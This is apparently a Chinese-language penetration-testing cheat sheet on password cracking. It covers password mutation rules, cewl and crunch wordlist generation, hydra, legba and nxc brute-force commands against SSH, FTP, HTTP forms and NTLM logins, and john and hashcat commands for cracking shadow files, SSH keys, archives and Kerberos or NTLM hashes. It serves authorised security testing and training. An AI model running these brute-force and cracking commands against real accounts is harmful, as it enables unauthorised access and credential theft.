跳转至

密码破解

密码变形规则

Bash
# 手动生成密码字典的常见变形规则
- 大小写变形:用户名、公司名、默认账号(如 Admin -> admin)
- 字母顺序变形:password -> drowssap
- 省略元音字母:password -> psswrd
- 删除部分字母:assword、psword
- 置换变形:p@ssw0rd
- 重复变形:passwordpassword
- 数字变形:1password, password2
- 年份变形:password2022
- 首尾追加变形:password123, #password#, password007
- 分隔符变形:p.a.s.s.w.o.r.d, p-a-s-s-w-o-r-d
- 1337变形:p@ssw0rd, p@$$w0rd
- 末尾+数字+符号:password1!
- 空密码
- 与用户名相同
- 服务名、框架名、CMS名

定制字典

Bash
# 使用 cewl 从目标网站爬取关键词生成字典
# -m 6:最小长度 6 位;-w a.txt:输出到 a.txt
cewl www.a.com -m 6 -w a.txt

# 使用 crunch 生成指定字符集的密码字典
# 8 8:长度固定8位;-t:模板
# @:小写字母;,:大写字母;%:数字;^:符号
crunch 8 8 -t @@@@%%%^
# 4-6 位,字符集 0-9、A-F,输出到 crunch.txt
crunch 4 6 0123456789ABCDEF -o crunch.txt
# 4-6 位,使用 charset.lst 中的 mixalpha(大小写字母)字符集,输出到 crunch.txt
crunch 4 6 -f /usr/share/crunch/charset.lst mixalpha -o crunch.txt

hydra 使用

Bash
# SSH爆破(-l 用户名,-P 密码字典,-t 线程,目标IP,服务名)
hydra -l kali -P rockyou.txt ssh://1.1.1.1

# 尝试一些默认密码枚举
# -C:指定的密码字典为 username:password 格式
hydra ftp://192.168.104.46:3145 -C /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt

# HTTP表单爆破(http-post,/form路径,参数,失败标识)
hydra 10.11.0.22 http-post "/form/frontpage.php:user=admin&pass=^PASS^:INVALID LOGIN" -l admin -P rockyou.txt -v -V
# 示例:HTTP表单爆破
hydra -l otis -P pass.txt 10.1.8.11 http-post-form "/monitoring/index.php:username=^USER^&password=^PASS^&Login=Login:S=Location: index.php" -V
# 示例:HTTP表单爆破
hydra -l otis -P p.txt 192.168.56.104 http-post-form "/monitoring/index.php:username=^USER^&password=^PASS^&Login=Login:F=Location: login.php" -V

# http Basic Auth 认证爆破
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/

# http ntml 认证爆破
# download:https://github.com/evilsocket/legba
legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/

nxc 工具

Bash
1
2
3
# 只需要指定协议和密码即可执行爆破
# --continue-on-success:无论成功与否,尝试所有的字典破解
nxc ssh -u user_file -p pass_file ip --continue-on-success

离线密码破解

Bash
# john 工具
## 破解 Linux shadow 文件
ssh2john passwd shadow > ssh.hash
john hash --wordlist=~/Desktop/rockyou.txt --format=crypt --user="root"
## 破解 ssh 私钥文件
ssh2john id_ed25519 > hash
john hash --wordlist=~/Desktop/rockyou.txt
## 破解压缩包密码
zip2john anna.zip > anna.hash
john anna.hash --wordlist=~/Desktop/rockyou.txt
## 查看历史爆破记录
john hash --show

# hashcat 工具
# 破解 NET-NTMLV2 认证包,AS-Rep 认证包,kerberoasting认证包
## 均可使用 hashcat 破解
hashcat hash rockyou.txt
## 首先执行默认破解,如果 hashcat 无法识别密文格式,需要通过 -m 指定
hashcat hash rockyou.txt -m 3200
## 查询历史爆破记录
hashcat -m 3200 --show

在线网站

Bash
https://crackstation.net/
https://hashcat.net/wiki/doku.php?id=example_hashes